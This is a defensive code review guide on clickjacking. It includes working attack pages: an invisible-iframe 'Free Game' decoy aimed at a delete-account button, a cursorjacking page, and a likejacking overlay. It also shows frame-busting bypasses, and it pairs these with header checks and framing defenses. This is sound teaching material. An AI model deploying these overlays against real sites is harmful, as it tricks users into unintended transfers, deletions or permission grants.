Clickjacking & UI Redressing Code Review Guide
Table of Contents
Introduction
Clickjacking, also known as UI redressing, is a malicious technique where an attacker tricks users into clicking on something different from what they perceive. By overlaying invisible or disguised elements over legitimate web pages, attackers can hijack user clicks to perform unintended actions.
This attack exploits the ability to embed web pages within iframes and manipulate their visual presentation. When successful, victims unknowingly perform actions like transferring money, changing account settings, enabling webcams, or granting OAuth permissions—all while thinking they are interacting with a harmless page.
Clickjacking Attack Anatomy
🎉 Congratulations!
You won a free iPhone!
A legitimate-looking page with a "Claim Prize" button
Click goes to invisible "Transfer $10,000" button on bank.com
Why This Matters
Clickjacking doesn't require exploiting traditional vulnerabilities like XSS or SQL injection. It abuses the browser's legitimate feature of embedding content via iframes. Any page that can be framed and has sensitive click actions is potentially vulnerable.
Real-World Scenario
Imagine a social media site with a "Delete Account" button. A malicious site could embed this page in an invisible iframe, positioning the delete button exactly under a "Play Game" button. When users click to play, they actually delete their account.
Attacker's Clickjacking Page
1<!DOCTYPE html>
2<html>
3<head>
4 <title>Free Game - Click to Play!</title>
5 <style>
6 /* Container for the attack */
7 .container {
8 position: relative;
9 width: 500px;
10 height: 300px;
11 }
12
13 /* Invisible iframe containing target site */
14 .target-iframe {
15 position: absolute;
16 top: 0;
17 left: 0;
18 width: 500px;
19 height: 300px;
20 opacity: 0.0001; /* Nearly invisible but still clickable */
21 z-index: 2; /* On top to receive clicks */
22 border: none;
23 }
24
25 /* Decoy content that user sees */
26 .decoy {
27 position: absolute;
28 top: 0;
29 left: 0;
30 width: 500px;
31 height: 300px;
32 z-index: 1; /* Below iframe */
33 background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
34 display: flex;
35 flex-direction: column;
36 align-items: center;
37 justify-content: center;
38 color: white;
39 border-radius: 10px;
40 }
41
42 .play-button {
43 /* Positioned exactly over target site's "Delete Account" button */
44 margin-top: 100px;
45 padding: 15px 40px;
46 background: #4CAF50;
47 border: none;
48 border-radius: 5px;
49 color: white;
50 font-size: 18px;
51 cursor: pointer;
52 }
53 </style>
54</head>
55<body>
56 <div class="container">
57 <!-- Hidden iframe with target site -->
58 <iframe
59 class="target-iframe"
60 src="https://social-media.com/settings/account">
61 </iframe>
62
63 <!-- What user sees -->
64 <div class="decoy">
65 <h1>🎮 Free Game!</h1>
66 <p>Click below to start playing</p>
67 <button class="play-button">PLAY NOW</button>
68 </div>
69 </div>
70</body>
71</html>What makes clickjacking different from phishing?
How Clickjacking Works
Clickjacking relies on the CSS properties that control element visibility, positioning, and stacking. The attacker creates layers where the target page is invisible but positioned to receive user clicks.
Key CSS Properties Used in Clickjacking
| Property | Purpose | Attack Usage |
|---|---|---|
| opacity | Controls element transparency | Set to near-zero (0.0001) to hide iframe |
| z-index | Controls stacking order | Place iframe above decoy content |
| position: absolute | Removes from normal flow | Precise positioning of layers |
| pointer-events | Controls click behavior | Ensure clicks pass through to iframe |
| iframe seamless | Removes iframe borders | Makes embedding less obvious |
Anatomy of a Clickjacking Attack
1/* Layer 1: The target iframe (receives clicks) */
2.target-iframe {
3 position: absolute;
4 top: 0;
5 left: 0;
6 width: 100%;
7 height: 100%;
8
9 /* Make it invisible but clickable */
10 opacity: 0.0001; /* Not 0 - some browsers optimize away */
11
12 /* Ensure it's on top */
13 z-index: 9999;
14
15 /* Remove visual indicators */
16 border: none;
17
18 /* Some attacks adjust position to align buttons */
19 top: -50px; /* Shift to align target button */
20 left: -100px; /* with decoy button */
21}
22
23/* Layer 2: The decoy content (user sees this) */
24.decoy-content {
25 position: absolute;
26 top: 0;
27 left: 0;
28 z-index: 1; /* Below the iframe */
29
30 /* Make it look legitimate */
31 background: white;
32 padding: 20px;
33}
34
35/* Alternative: Use pointer-events for more control */
36.decoy-overlay {
37 pointer-events: none; /* Clicks pass through to iframe */
38}Browser Frame Embedding
By default, any web page can be embedded in an iframe unless the target site explicitly prevents it. This is the fundamental browser behavior that clickjacking exploits. Modern defenses focus on allowing sites to opt-out of being framed.
Why do attackers use opacity: 0.0001 instead of opacity: 0?
Attack Techniques
Clickjacking has evolved into several specialized attack variants, each targeting different user interactions.
Clickjacking Attack Variants
| Variant | Target | Description |
|---|---|---|
| Classic Clickjacking | Button clicks | Overlay invisible iframe over decoy button |
| Likejacking | Social media likes/shares | Trick users into liking attacker content |
| Cursorjacking | Mouse cursor | Display fake cursor offset from real position |
| Filejacking | File upload inputs | Trick users into uploading sensitive files |
| Cookiejacking | Cookie consent dialogs | Manipulate cookie preferences |
| Strokejacking | Keyboard input | Capture keystrokes in hidden frames |
Cursorjacking Attack Example
1<!DOCTYPE html>
2<html>
3<head>
4 <style>
5 /* Hide the real cursor */
6 body {
7 cursor: none;
8 }
9
10 /* Fake cursor that follows mouse with offset */
11 #fake-cursor {
12 position: fixed;
13 width: 20px;
14 height: 20px;
15 background: url('cursor.png') no-repeat;
16 pointer-events: none;
17 z-index: 10000;
18 }
19
20 /* Hidden iframe positioned where real clicks happen */
21 #target {
22 position: fixed;
23 top: 100px; /* Offset from fake cursor position */
24 left: 150px;
25 opacity: 0.0001;
26 z-index: 9999;
27 }
28 </style>
29</head>
30<body>
31 <div id="fake-cursor"></div>
32 <iframe id="target" src="https://target-site.com/sensitive-action"></iframe>
33
34 <div class="content">
35 <h1>Click anywhere to win!</h1>
36 <p>The prize appears randomly on screen</p>
37 </div>
38
39 <script>
40 const fakeCursor = document.getElementById('fake-cursor');
41
42 document.addEventListener('mousemove', (e) => {
43 // Fake cursor is offset from real position
44 fakeCursor.style.left = (e.clientX - 150) + 'px';
45 fakeCursor.style.top = (e.clientY - 100) + 'px';
46 });
47 </script>
48</body>
49</html>Likejacking Attack
1<!-- Likejacking: Trick users into liking attacker's Facebook page -->
2<div style="position: relative; width: 300px; height: 200px;">
3 <!-- Hidden Facebook Like button iframe -->
4 <iframe
5 src="https://www.facebook.com/plugins/like.php?href=https://attacker-page.com"
6 style="
7 position: absolute;
8 opacity: 0.0001;
9 z-index: 2;
10 width: 100px;
11 height: 30px;
12 top: 85px; /* Align with decoy button */
13 left: 100px;
14 ">
15 </iframe>
16
17 <!-- What user sees -->
18 <div style="
19 position: absolute;
20 z-index: 1;
21 text-align: center;
22 padding: 20px;
23 ">
24 <img src="cute-cat.jpg" width="200">
25 <p>Click to see more cute cats!</p>
26 <button style="padding: 10px 30px;">View More</button>
27 </div>
28</div>Multi-Click Attacks
Advanced clickjacking can require multiple clicks from the victim. Attackers use games, surveys, or interactive content to get users to click in specific sequences, each click performing part of a multi-step sensitive action on the target site.
Vulnerable Code Patterns
During code review, identify applications that lack frame protection. These patterns indicate potential clickjacking vulnerabilities:
Pattern 1: No Frame Protection Headers
1// VULNERABLE: No X-Frame-Options or CSP frame-ancestors
2const express = require('express');
3const app = express();
4
5// Missing security headers middleware
6app.get('/transfer', (req, res) => {
7 // This sensitive action page can be framed!
8 res.send(`
9 <h1>Transfer Funds</h1>
10 <form action="/do-transfer" method="POST">
11 <input type="hidden" name="amount" value="10000">
12 <input type="hidden" name="to" value="attacker-account">
13 <button type="submit">Confirm Transfer</button>
14 </form>
15 `);
16});
17
18// Compare to secure version
19app.get('/secure-transfer', (req, res) => {
20 // Set X-Frame-Options to prevent framing
21 res.setHeader('X-Frame-Options', 'DENY');
22 // Or use CSP (more flexible)
23 res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
24
25 res.send('...');
26});Pattern 2: Weak Frame Busting Scripts
1// VULNERABLE: Easily bypassed frame busting
2if (window.top !== window.self) {
3 window.top.location = window.self.location;
4}
5
6// Problems with this approach:
7// 1. Can be blocked by sandbox attribute
8// 2. Can be blocked by onbeforeunload handler
9// 3. Doesn't work if attacker uses double framing
10
11// Attacker bypass:
12<iframe
13 src="https://target.com"
14 sandbox="allow-scripts allow-forms">
15 <!-- sandbox blocks top-level navigation -->
16</iframe>
17
18// Or with onbeforeunload:
19<script>
20 window.onbeforeunload = function() {
21 return false; // Prevents navigation
22 };
23</script>
24<iframe src="https://target.com"></iframe>Pattern 3: Incomplete CSP Protection
1// VULNERABLE: Missing frame-ancestors in CSP
2app.use((req, res, next) => {
3 // This CSP doesn't prevent framing!
4 res.setHeader('Content-Security-Policy',
5 "default-src 'self'; script-src 'self'"
6 );
7 next();
8});
9
10// SECURE: Include frame-ancestors
11app.use((req, res, next) => {
12 res.setHeader('Content-Security-Policy',
13 "default-src 'self'; script-src 'self'; frame-ancestors 'none'"
14 );
15 next();
16});
17
18// VULNERABLE: X-Frame-Options only set on some routes
19app.get('/sensitive', (req, res) => {
20 res.setHeader('X-Frame-Options', 'DENY');
21 // ...
22});
23
24// Other routes are still frameable!
25app.get('/settings', (req, res) => {
26 // No protection - can be clickjacked!
27 // ...
28});Vulnerable vs Secure Configurations
| Configuration | Status | Notes |
|---|---|---|
| No X-Frame-Options header | Vulnerable | Page can be framed by any site |
| X-Frame-Options: DENY | Secure | Cannot be framed at all |
| X-Frame-Options: SAMEORIGIN | Partial | Only same-origin can frame |
| X-Frame-Options: ALLOW-FROM url | Deprecated | Not supported in modern browsers |
| CSP frame-ancestors 'none' | Secure | Modern replacement for DENY |
| CSP frame-ancestors 'self' | Partial | Same-origin framing allowed |
Detection Methods
Identifying clickjacking vulnerabilities during security testing requires checking for missing protections and testing if pages can be embedded.
Quick Header Check
1# Check for X-Frame-Options and CSP headers
2curl -I https://target.com/sensitive-page | grep -i "x-frame\|content-security"
3
4# Expected secure response:
5# X-Frame-Options: DENY
6# Content-Security-Policy: frame-ancestors 'none'
7
8# Or check multiple pages
9for page in /login /transfer /settings /admin; do
10 echo "Checking $page:"
11 curl -sI "https://target.com$page" | grep -i "x-frame\|frame-ancestors" || echo "NO PROTECTION!"
12doneSimple Clickjacking Test Page
1<!DOCTYPE html>
2<html>
3<head>
4 <title>Clickjacking Vulnerability Test</title>
5 <style>
6 iframe {
7 width: 100%;
8 height: 500px;
9 border: 2px solid red;
10 }
11 .result {
12 padding: 20px;
13 margin: 20px 0;
14 border-radius: 5px;
15 }
16 .vulnerable { background: #ffebee; color: #c62828; }
17 .protected { background: #e8f5e9; color: #2e7d32; }
18 </style>
19</head>
20<body>
21 <h1>Clickjacking Vulnerability Test</h1>
22
23 <div id="result" class="result">Testing...</div>
24
25 <!-- Try to frame the target site -->
26 <iframe
27 id="target-frame"
28 src="https://target-site.com/sensitive-page"
29 onload="checkVulnerable()"
30 onerror="checkProtected()">
31 </iframe>
32
33 <script>
34 function checkVulnerable() {
35 // If we get here, the page loaded in the iframe
36 const result = document.getElementById('result');
37 result.className = 'result vulnerable';
38 result.innerHTML = '⚠️ VULNERABLE: Page can be framed!';
39 }
40
41 function checkProtected() {
42 const result = document.getElementById('result');
43 result.className = 'result protected';
44 result.innerHTML = '✓ PROTECTED: Page refused to load in frame';
45 }
46
47 // Additional check - some protections allow load but block content
48 setTimeout(() => {
49 try {
50 const frame = document.getElementById('target-frame');
51 // This will throw if cross-origin with protection
52 const content = frame.contentDocument;
53 console.log('Frame content accessible - check if blank');
54 } catch (e) {
55 console.log('Frame content blocked (expected for protected sites)');
56 }
57 }, 2000);
58 </script>
59</body>
60</html>Automated Tools
Tools like Burp Suite, OWASP ZAP, and browser developer tools can automatically check for clickjacking vulnerabilities. Look for the "X-Frame-Options" and "Content-Security-Policy" headers in response headers.
A page returns X-Frame-Options: SAMEORIGIN. Is it vulnerable to clickjacking?
Prevention Techniques
Preventing clickjacking requires server-side headers that instruct browsers not to allow framing. Client-side JavaScript protections are considered unreliable.
Defense Comparison
| Method | Effectiveness | Browser Support |
|---|---|---|
| CSP frame-ancestors 'none' | Highest | All modern browsers |
| X-Frame-Options: DENY | High | All browsers |
| X-Frame-Options: SAMEORIGIN | Medium | All browsers |
| Frame busting JavaScript | Low | Can be bypassed |
| SameSite cookies | Supplementary | Modern browsers |
Defense 1: Content-Security-Policy frame-ancestors
1// Node.js/Express
2const express = require('express');
3const helmet = require('helmet');
4const app = express();
5
6// Using helmet for security headers
7app.use(helmet({
8 contentSecurityPolicy: {
9 directives: {
10 defaultSrc: ["'self'"],
11 frameAncestors: ["'none'"], // Prevent all framing
12 }
13 }
14}));
15
16// Or manually set CSP
17app.use((req, res, next) => {
18 // Prevent all framing
19 res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
20 next();
21});
22
23// Allow specific origins to frame
24app.use((req, res, next) => {
25 res.setHeader('Content-Security-Policy',
26 "frame-ancestors 'self' https://trusted-partner.com"
27 );
28 next();
29});Defense 2: X-Frame-Options Header
1# Python/Django
2# In settings.py
3X_FRAME_OPTIONS = 'DENY' # or 'SAMEORIGIN'
4
5# Django automatically adds this via SecurityMiddleware
6MIDDLEWARE = [
7 'django.middleware.security.SecurityMiddleware',
8 # ...
9]
10
11# Python/Flask
12from flask import Flask
13
14app = Flask(__name__)
15
16@app.after_request
17def add_security_headers(response):
18 response.headers['X-Frame-Options'] = 'DENY'
19 response.headers['Content-Security-Policy'] = "frame-ancestors 'none'"
20 return responseDefense 3: Web Server Configuration
1# Nginx
2server {
3 # Add to all responses
4 add_header X-Frame-Options "DENY" always;
5 add_header Content-Security-Policy "frame-ancestors 'none'" always;
6}
7
8# Apache (.htaccess or httpd.conf)
9Header always set X-Frame-Options "DENY"
10Header always set Content-Security-Policy "frame-ancestors 'none'"
11
12# IIS (web.config)
13<system.webServer>
14 <httpProtocol>
15 <customHeaders>
16 <add name="X-Frame-Options" value="DENY" />
17 <add name="Content-Security-Policy" value="frame-ancestors 'none'" />
18 </customHeaders>
19 </httpProtocol>
20</system.webServer>Best Practices
✅ Use both X-Frame-Options AND CSP frame-ancestors for maximum compatibility
✅ Apply headers to ALL pages, not just sensitive ones
✅ Use 'none' (DENY) unless you have a specific need for framing
✅ Use SameSite cookies as additional defense-in-depth
✅ Avoid relying on JavaScript frame busting alone